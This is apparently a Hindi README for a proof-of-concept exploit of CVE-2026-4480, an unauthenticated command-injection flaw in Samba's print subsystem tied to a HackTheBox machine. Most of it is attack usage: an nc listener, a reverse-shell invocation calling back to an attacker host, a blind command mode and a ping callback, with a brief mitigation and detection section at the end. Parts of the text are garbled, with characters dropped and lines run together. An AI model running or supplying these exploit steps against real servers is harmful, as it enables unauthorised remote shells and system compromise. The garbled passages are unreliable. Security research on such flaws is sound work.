
CVE-2026-4480 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Samba के प्रिंट सबसिस्टम में %J इंजेक्शन के माध्यम से एक बिना प्रमाणीकरण के रिमोट कमांड निष्पादन है। इसमें रिवर्स शेल और ब्लाइंड कमांड निष्पादन मोड शामिल हैं, साथ ही पहचान और शमन मार्गदर्शन भी दिया गया है।
%J) इंजेक्शन PoCमहत्वपूर्ण — पहले यह पढ़ें:
यह रिपॉजिटरी औरexploit.pyकेवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किए गए हैं। इस कोड का उपयोग उन सिस्टम, नेटवर्क या सेवाओं के विरुद्ध न करें जिनके लिए आपके पास स्पष्ट, लिखित प्राधिकरण नहीं है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध और अनैतिक है। इस कोड का उपयोग करके आप लागू कानूनों और संस्थागत नीतियों का पालन करने के लिए सहमत होते हैं।
Samba के प्रिंट सबसिस्टम में अनऑथेंटिकेटेड रिमोट कमांड निष्पादन। जब कोई प्रिंट कार्य स्पूलिंग पूरा करता है, तो Samba कॉन्फ़िगर किए गए print command को system() के माध्यम से चलाता है, जिसमें स्ट्रिंग में %s (स्पूल फ़ाइल पथ) और %J (क्लाइंट-आपूर्ति कार्य नाम) को प्रतिस्थापित करता है। फिक्स से पहले कार्य नाम को केवल एक रूपांतरण ' → _ के साथ पास किया जाता था और कुछ नहीं, इसलिए , , , स्पेस, , और बैकटिक्स सभी शेल तक पहुंचते हैं। इसलिए का संदर्भ देने वाला एक शेल-इंजेक्शन सिंक है, और चूंकि मेहमान प्रिंट कार्य सबमिट कर सकते हैं, समस्या है।
|;&<>%Jprint command%J (printing = sysv-शैली) का संदर्भ देने वाला बाहरी print command चलाते हैं। printing = cups / iprint CUPS API के माध्यम से जाते हैं और प्रभावित नहीं होते।sudo apt install python3-samba
print command %J का संदर्भ देता है।python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
| तर्क / विकल्प | अर्थ |
|---|---|
rhost | लक्ष्य Samba होस्ट / IP |
lhost | आपका लिसनर IP |
lport | आपका लिसनर पोर्ट |
-P, --printer | अतिथि प्रिंटर शेयर नाम (डिफ़ॉल्ट: HP-Reception) |
-c, --cmd | रिवर्स शेल के बजाय कोई मनमाना कमांड चलाएं |
# terminal 1: listener
nc -lvnp 4444
# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
आपको प्रिंट सेवा खाते (जैसे nobody) के रूप में एक शेल मिलना चाहिए।
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
चूंकि निष्पादन अंधा है (कमांड सर्वर-साइड चलता है और RPC चैनल पर कुछ भी वापस नहीं करता), पहले इसे आउट-ऑफ-बैंड पुष्टि करें, उदाहरण के लिए एक ICMP कॉलबैक जिसे आप tcpdump -ni tun0 icmp के साथ देखते हैं:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J', %J हटाएं, या printing = cups पर जाएं।smbd द्वारा शेल (sh/bash/nc/python/curl) स्पॉन करने की खोज करें और शेल मेटाकैरेक्टर वाले दस्तावेज़ नामों को दस्तावेज़ित करें।मैंने HackTheBox पर Abducted नामक एक बॉक्स बनाया है ताकि कमजोरी को प्रदर्शित किया जा सके और आपको एक व्यावहारिक उदाहरण दिया जा सके कि कैसे हमलावर गलत कॉन्फ़िगरेशन वाले वातावरण में इसका लाभ उठा सकते हैं।